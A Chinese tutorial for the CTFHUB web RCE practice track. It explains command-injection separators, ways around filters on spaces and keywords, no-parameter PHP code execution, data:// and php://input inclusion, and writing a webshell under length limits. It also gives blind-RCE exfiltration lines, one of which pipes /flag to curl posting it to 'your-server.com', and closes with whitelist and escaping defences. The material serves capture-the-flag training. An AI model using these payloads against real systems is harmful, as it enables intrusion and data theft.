不知道你有没有过这种感觉:刷CTF题的时候,看到是WEB方向,心里一松;结果点进去发现考的是RCE,瞬间又有点发懵。命令执行、代码执行、各种绕过手法,好像每个字都认识,但题目就是做不出来。CTFHUB作为国内做得比较扎实的在线靶场,它的WEB-RCE技能树正好可以把这块的体系梳理清楚,从最简单的ping命令注入一路做到无参数、无字母的极限情况。这篇就围绕CTFHUB的RCE题目,把这个方向的知识点、解题思路、绕过原理完整过一遍,希望能帮到正在刷题的朋友。
RCE到底是什么?全称是Remote Code/Command Execution,也就是远程命令执行或者远程代码执行。说直白一点,就是目标服务把用户输入的内容当成系统命令或者程序代码去执行了。攻击者能借此拿到服务器权限,所以它的危险等级通常都是最高档。在CTF里,RCE题目的核心就一句话:找到可控的输入点,并且让它带上你想执行的命令或代码。
1. CTFHUB的RCE技能树到底在训练什么?
CTFHUB的WEB方向题目有一个特点,它不是把一堆零散的知识点扔给你,而是按照漏洞类型把技能树分成一个个独立的模块,RCE就是其中一个分支。每个分支内部又根据难度和绕过方式做了细分,相当于把RCE从易到难拆成了几个递进的台阶。
对比其他常见靶场,CTFHUB的RCE练习路径非常适合入门者。比如BUUCTF上的题目直接就是历年真题,新手很容易被难住——那些题目往往把好几个绕过手段揉在一起,连题目在考什么都看不清。而CTFHUB技能树的RCE章节更像是“新手村任务”,每一关只考一个核心绕过点,比如这一关单独过滤了cat,那一关单独过滤了空格,下一关干脆要求无参数RCE。
在CTF选手的实际能力模型里,RCE相关题目占据了非常重要的位置。无论是Web方向的常规题还是AWD(Attack With Defense)攻防对抗,命令执行漏洞都是出镜率极高的突破点。很多“看似拿不下来”的站,往往最终都是靠一条命令注入或者一个不严谨的代码执行点拿下的。
CTFHUB的RCE题目特点也比较鲜明:
- flag路径统一:早期题目会直接在根目录或者当前目录放一个
flag文件,比如/flag或者flag_xxx,降低了前期找flag的成本,让解题人专注在“如何执行命令”本身。 - 环境隔离做得干净:每个用户一个独立环境,不会出现容器之间串数据的问题。
- 过滤规则明确:不同题目模拟了不同的开发者防御措施,这种“模拟真实场景但又不完全仿真”的设定,恰好是新手最好的练习环境。
我个人的建议是,如果你刚开始学Web安全的命令注入,不要急着上各种综合平台刷真题,先把CTFHUB技能树的RCE分支按顺序过一遍,每一关都试着用至少两种方法解决,这个过程的收获比盲目刷50道杂题更大。
2. 命令注入的原理拆解:为什么用户输入会变成系统命令?
在动手解题之前,先把基础原理掰开揉碎讲清楚。RCE在实际中主要分两大类:一类是命令注入(Command Injection),另一类是代码执行(Code Execution)。它们本质的区别在于,命令注入是把输入拼接进了系统命令,而代码执行是把输入直接扔进了编程语言的执行函数。
以CTFHUB命令注入-无过滤这道题为例,界面通常长这样:
ping [IP地址] // 看起来是个ping测试功能假设后端代码是这样写的:
<?php $target = $_REQUEST['ip']; $cmd = shell_exec("ping -c 3 " . $target); echo "<pre>$cmd</pre>"; ?>这段代码的本意是让用户输入一个IP地址,然后系统执行ping命令检测连通性。问题就出在这里:$target变量直接拼接进了系统命令字符串,而且完全没有做任何过滤。如果用户输入的不是IP,而是:
127.0.0.1; whoami那么后端实际执行的命令就会变成:
ping -c 3 127.0.0.1; whoami在Linux shell中,分号(;)表示“不管前面命令成功与否,都执行后面的命令”。所以系统先执行了ping -c 3 127.0.0.1,紧接着又执行了whoami,最终把执行结果也返回给了攻击者。
这就是命令注入最基础的原型:开发者把不可信的用户输入直接拼进了命令字符串。CTF题的考点通常就是“如何构造拼接后的字符串,让服务器执行你想要的额外命令”。
常见的命令拼接方式有以下几类:
| 拼接符号 | 作用 | 示例 |
|---|---|---|
; | 顺序执行,不管前一条是否成功 | ping 1.1.1.1; whoami |
&& | 前一条执行成功后才执行后一条 | ping 1.1.1.1 && whoami |
|| | 前一条失败才执行后一条 | ping 1.1.1.1 || whoami |
| | 前一条的输出作为后一条的输入 | ping 1.1.1.1 | whoami |
\n(换行) | 当作两个独立命令 | ping 1.1.1.1%0awhoami |
` | 命令替换 | ping \whoami`` |
$() | 命令替换(推荐) | ping $(whoami) |
从防御者的视角来看,一般开发会采用黑名单策略,把上面这些特殊字符过滤掉。但从攻击者的角度来看,shell本身支持的语法太多,总有绕过的手段。
CTF圈有个经典比喻,命令注入本质上就是SQL注入在操作系统层面的翻版:SQL注入是把输入拼进SQL语句,命令注入是把输入拼进shell命令。理解了这层关系,你脑子里面的知识体系就能串起来了。
3. 无过滤命令注入题:完整的解题路径与探测流程
CTFHUB技能树的第一个RCE练习通常是无过滤的命令注入。很多人第一次做这道题时,习惯性地输入127.0.0.1; ls,看到结果却什么都没有,就不知道怎么办了。其实问题不在于注入方式,而在于你还没有建立完整的解题流程。
这里我把自己做题时的标准流程梳理一下:
第一步,信息收集和连通性测试。在输入框输入127.0.0.1,观察返回结果。正常情况下会返回类似64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.018 ms这样的ping响应内容。这一步的目的是确认目标环境是否正常,以及返回结果是否会回显到页面上。
第二步,判断注入点与分隔符。输入127.0.0.1; id,如果页面返回了ping的输出外加一段uid=0(root) gid=0(root) groups=0(root)之类的内容,说明分号成功充当了命令分隔符。如果只返回了ping的输出,说明分号可能被过滤了,或者后端不是用shell执行的,需要换其他分隔符再试。CTFHUB这个环境通常用的是PHP的exec或shell_exec函数,分号一般是有效的。
第三步,查看当前目录和flag位置。注入127.0.0.1; ls,如果页面返回了当前目录的内容,比如index.php等文件。如果没看到flag,继续注入ls /查看根目录。CTF题目里flag的位置一般在根目录/flag或者当前目录的某个文件中。
第四步,读取flag文件。确认flag路径后,执行cat /flag或者cat flag_xxx。这里有一个经常被忽视的细节:有些题目读完flag之后,页面回显不一定在当前可见区域。如果返回的页面没有显示flag内容,可以尝试在命令后面拼接; echo或者用| base64编码输出,确保结果能完整回显。
第五步,如果页面本身就带回显的话,这一步其实就结束了。但如果页面没有回显,就需要走反弹shell或者DNSLog带外数据通道的路子——这一部分放到后面详细讲。
这道题的完整payload大致是:
127.0.0.1; cat /flag或者用命令替换的方式:
127.0.0.1$(cat /flag)两种方式都可行,关键在于理解“拼接”这个基本逻辑。
从实际做题的经验来看,我强烈建议你养成“每做完一道题,把payload记录成笔记”的习惯。CTF的考点高度重复,你今天在CTFHUB上写的; cat /flag,换个题目换个平台依然能用。把自己的有效payload收集起来就是最好的个人工具库。
4. 过滤绕过的核心思路:从空格、关键字再到组合限制
CTFHUB的RCE题目不会停留在无过滤这一关,后面会逐步加入过滤条件。这些过滤条件看似五花八门,但归纳起来其实就三类:过滤字符、过滤命令、限制格式。
先说过滤空格。这是最常见的过滤方式,很多后端代码只过滤了空格,防止用户执行带参数的命令。绕过空格的方式非常多,我列几个最实用的:
| 替代方案 | 说明 | 示例 |
|---|---|---|
${IFS} | 系统环境变量,默认包含空格 | cat${IFS}/flag |
${IFS9} | Bash下的特殊用法,也可代表空格 | cat${IFS9}/flag |
Tab键%09 | URL编码的Tab字符 | cat%09/flag |
重定向符< | 某些情况下可以替代空格 | cat</flag |
花括号展开{cat,/flag} | Bash的brace expansion | {cat,/flag} |
再说过滤关键字。比如过滤了cat这种读取命令,常见的绕过方式有关键字拼接、反斜杠截断、空变量隔离等。举个例子,如果系统过滤了cat,你可以这样:
c\at /flag # 反斜杠截断 c""at /flag # 空变量隔离 $(echo Y2F0|base64 -d) /flag # base64编码命令第三种方式值得多说一句:Y2F0就是cat的base64编码,$(echo Y2F0|base64 -d)的作用是解码得到cat然后执行。这种方式在CTF里非常常用,因为很多过滤规则根本没考虑到攻击者会对命令本身做编码。
还有一类是过滤了flag这个关键词。常见做法是使用通配符:
cat /fl* # 星号匹配任一文件名 cat /fla? # 问号匹配单个字符这里有个思维定式要注意:很多人只知道用通配符,却忘了shell的展开机制。通配符展开是shell层的功能,发生在命令真正执行之前,所以它天然可以绕过那些基于字符串匹配的过滤规则。这一点在做题时非常有效。
题目最难的一类是把上述多种过滤组合到一起,比如既过滤空格又过滤flag还过滤cat。这时候就要交叉使用上面提到的各种技巧,灵活性很重要。
来一个综合示例:如果系统同时过滤了空格、flag、cat三个关键词,我们可以这样构造:
c""at${IFS}/fl*这段命令实际展开后是cat /flag,但在原始输入的字符串层面,空格被${IFS}替代,flag被fl*替代,cat被c""at替代,从而绕过关键词检测。
这种“把命令拆碎再重组”的思路,本质上是在利用shell的语法特性对抗浅层字符串过滤。理解这层逻辑,后面的无参数RCE就会好切入得多。
5. 无参数RCE与极度受限条件下的突破思路
CTFHUB技能树里有一类题目非常经典,就是无参数RCE。这类题目的代码通常长这样:
<?php eval($_GET['code']); ?>看起来很简单,直接传参数执行代码就行了是吧?但问题在于,题目往往限制得非常死板,比如:
<?php if(isset($_GET['code'])){ $code = $_GET['code']; if(preg_match('/[a-zA-Z0-9]/i', $code)){ die('no no no'); } eval($code); } ?>这种情况下,传统的system("cat /flag")就直接被杀了,因为里面包含了大量字母和数字。无参数RCE的核心思路是:在没有任何参数输入的情况下,仅靠PHP内置函数或者是环境变量本身来构造出我们想要的命令并执行。
我见过很多新手在这个环节一脸懵,原因是他们习惯了“把命令写出来”的思考方式,突然要求不写字母数字,思维就卡住了。实际上,突破口在于PHP的内置函数本身。
一个经典的无参数RCE payload是这样的:
?code=system(next(getallheaders()));其中getallheaders()可以拿到当前请求的所有HTTP头,next()函数则返回数组中的下一个元素。这个payload的意思就是:拿到HTTP请求头数组的第二个元素,然后把它当作系统命令去执行。所以只要在HTTP请求头里加上Header2: cat /flag,就能成功执行cat /flag。
这个技巧利用了三个关键点:
getallheaders()能读取HTTP头数组,而HTTP头又是我们可以完全控制的。- PHP函数名字符串本身就是可以绕过字母数字限制的,因为它是以函数名形式存在的。
- PHP允许链式调用,也就是函数的返回值能继续作为下一个函数的参数。
除了getallheaders(),还有一些其他常用的PHP函数可以用来做无参数RCE:
get_defined_vars():获取所有已定义变量(包括GET、POST、COOKIE等超级全局数组)getcwd():获取当前工作目录pos()/current():取数组第一个元素array_flip():交换数组的键和值scandir():列出指定目录下的文件和目录
构造无参数RCE payload本质上就是一个函数链的组合游戏。一个比较经典的例子是使用get_defined_vars()配合文件操作来读取flag:
?code=print_r(scandir(current(get_defined_vars()['_GET'])));这里通过get_defined_vars()拿到_GET数组,再用current()取出第一个参数的值,最后传给scandir()列目录。
这种技巧的实际意义,不单是应付CTF题目。在很多真实世界的PHP代码审计中,如果开发者使用了create_function()、array_map()配合用户输入,或者是preg_replace的/e修饰符,都可能出现类似的无参数代码执行场景。虽然真实环境不会像CTF这样把限制条件卡到极致,但“利用函数链构造执行路径”的思维方式是完全通用的。
6. 利用PHP函数特性与伪协议扩展攻击面
除了上面的函数链技术,CTFHUB的RCE题型中还经常考查一种利用PHP伪协议和特殊函数来做攻击的方式。这里要特别提一下php://input、data://这类伪协议。
以data://伪协议为例,假设后端代码是这样:
<?php include($_GET['page']); ?>而且过滤了常见的目录穿越字符,这时候我们可以利用data://伪协议直接执行代码:
?page=data://text/plain,<?php system('cat /flag');?>或者base64编码之后:
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==这种方式的核心原理是:include能够处理伪协议,而data://协议允许我们直接嵌入一段PHP代码当作文件内容去解码执行。
php://input也是一个思路,它允许我们从请求body读取原始数据。一个利用场景:
POST /?page=php://input Content-Type: text/plain <?php system('cat /flag');?>说句题外话,很多CTF题目的出题人其实就是在模拟真实开发中的错误做法。include用户可控参数这种代码虽然在现代框架中罕见,但在一些老旧系统、CMS插件里仍然会偶遇到。掌握这些伪协议用法,不仅对刷题有用,做代码审计时也更容易发现漏洞点。
除了伪协议,还有一个高频考点值得专门讲——长度限制型RCE。比如后端的命令执行函数是system(),输入框最大长度只允许15个字符。这种短小精悍的限制其实特别考验基本功。一个例子,假设长度限制在15个字符:
127.0.0.1;ls再看一眼长度:127.0.0.1;ls正好是13个字符,能跑。但你想执行cat /flag是不行的,因为太长了。解决办法是利用Linux重定向和通配符把命令极简化:
127.0.0.1;l*但l*不一定能命中你想执行的命令。更常用的技巧是写一句话木马到web目录,然后用浏览器访问。比如命令:
127.0.0.1;echo PD9waHAgc3lzdGVtKCRfR0VUW2NdKTs/Pg==|base64 -d>1.php这条命令长度远超15个字符,所以需要分段写入,将base64编码拆成几段依次追加到文件里,最后再解码。这种“分段写入+拼接”的思路在极短限制的RCE题里几乎是必备技能。
7. 命令执行的盲注场景:无回显时怎么拿到flag?
CTFHUB的RCE技能树里还有一种情况很卡新手——命令执行了,但结果看不到。后端可能是这样写的:
<?php system($_GET['cmd']); ?>你以为输入cmd=ls就能看到目录列表?不一定。如果PHP配置了display_errors=Off,或者代码本身不输出命令结果,那你什么都看不到。这时候就必须走盲注思路。
盲RCE的常见手法有两类:延时判断和时间盲打;带外数据(OOB)通道。
延时判断很好理解——构造一条命令让系统睡眠几秒,然后观察响应时间是否明显变长:
cmd=ping -c 3 127.0.0.1; sleep 5如果响应时间明显达到了5秒以上,说明命令确实被执行了。这种方式虽然不能直接拿到flag内容,但可以验证命令执行漏洞是否可用。
带外数据通道则是把命令执行的结果通过网络发送到我们自己的服务器上。最经典的方式是使用DNSLog:
cmd=whoami cmd=$(whoami).yourdnslog.domain这条命令会把whoami的结果作为子域名前缀拼接到DNS请求里,然后发往你控制的DNSLog服务器。你在DNSLog平台上就能看到类似root.yourdnslog.domain的记录,从而拿到命令输出。
还有一种更直接的方式,当目标系统能访问外网时,直接使用curl回传数据:
cmd=cat /flag | curl -d @- http://your-server.com/这条命令的含义是读取/flag内容,然后POST到我们的服务器上。只要我们在VPS上开一个监听端口,就能收到flag。
盲注场景的解题重点在于:命令能不能执行、执行结果能不能出来、出来之后传到哪,这三点中最核心的是如何创造一条出网通道。CTF的练习环境通常网络通畅,DNSLog是效率最高的选择。
8. 命令注入的防御侧复盘:为什么黑名单拦不住?
刷完几道CTFHUB的RCE题目,我个人最大的收获倒不是payload本身,而是从“攻击者视角”反过来理解了防御端的瓶颈。很多题目的过滤方式其实就是常见的开发者处理手法——黑名单过滤特殊字符。但黑名单有个天然缺陷:你永远无法穷举所有可能的恶意输入。
以空格过滤为例,很多开发者只过滤了空格字符' ',但忘了Tab字符、换行符、${IFS}、花括号展开这些替代方式各有各的绕过路径。这就导致一道看似“过滤了空格”的题目,实际上十分钟内就能被多种方式打穿。
如果从防御者角度来看,正确做法应该是什么?
第一,能不用系统命令就不用系统命令。很多情况下业务功能根本不需要去调用shell,用PHP的ping扩展、Node的net模块就能完成网络连通性检测,没必要把用户输入拼到shell命令里。
第二,如果确实需要执行命令,那就用白名单而不是黑名单。比如传IP就严格校验IP格式:
<?php $target = $_REQUEST['ip']; if (!filter_var($target, FILTER_VALIDATE_IP)) { die('Invalid IP'); } $cmd = shell_exec("ping -c 3 " . $target); echo "<pre>$cmd</pre>"; ?>第三,使用escapeshellarg()或escapeshellcmd()转义用户输入,避免特殊字符起作用。
我经常说,CTF题目里那些看起来“刁钻”的绕过技巧,本质上都是因为防御者种下了“使用黑名单过滤”这个因。理解了这一点,你在实际写代码时就会主动避开黑名单这个坑。
9. CTF解题工具箱与环境准备
最后聊点实操层面的东西。刷CTFHUB的RCE题目,环境准备和工具选择直接影响解题效率。有些人纯靠浏览器硬怼,遇到编码题、盲注题就会非常痛苦。
我的个人工具清单大概是这样的:
- 浏览器+Burp Suite:Burp主要用于改包、重放、观察响应,遇到HTTP头注入、Cookie注入时是标配。
- HackBar(Firefox插件):快速构造URL编码和payload测试,尤其是测试无参数RCE和伪协议时非常方便。
- CyberChef:处理base64、URL编码、hex等格式转换,属于万能解码工具。
- DNSLog:主要用于盲RCE场景下的带外回显,申请一个子域名就能用。
- 本地VPS/云主机:用于接收反弹shell或者POST数据,测试OOB通道。
- 随波逐流CTF编码工具:这是国内CTF圈常用的一体化编码解码工具,集成了base64、URL、MD5、ROT等一系列编码,适合离线情况下快速处理。
环境准备方面,需要在本地装个Linux环境(虚拟机或WSL都行),用来测试payload和shell语法。很多人在浏览器里测试c""at /flag不生效,原因可能不是绕过思路的问题,而是自己的测试环境没有装cat或者路径不对。先在本地终端验证payload语法,再提交到靶场测试,会省去很多排错时间。
刷题节奏上,我建议每天集中两到三小时专门刷CTFHUB的RCE技能树,每道题尝试独立完成后再看WriteUp。遇到不会的题要看多篇WriteUp,重点关注不同作者的思路差异。同一道无参数RCE,有人用getallheaders(),有人用get_defined_vars(),每种思路都值得记下来。
我个人还有一个习惯,每次做题把payload整理到自己的笔记里,标注题型和适用场景。这样积累一段时间,你就有了一本属于自己的“绕过字典”,遇到新题的时候直接查字典,比对组合,解题速度会快得多。
CTF的RCE方向其实是一个越学越通透的过程,刚开始觉得各种绕过手法像天书,做多了会发现它们背后就那几套逻辑:闭黑名单、利用shell特性、寻找新的函数链。等你在CTFHUB上把RCE技能树从头到尾刷完,再看其他平台的命令注入真题,会有一种降维打击的快感。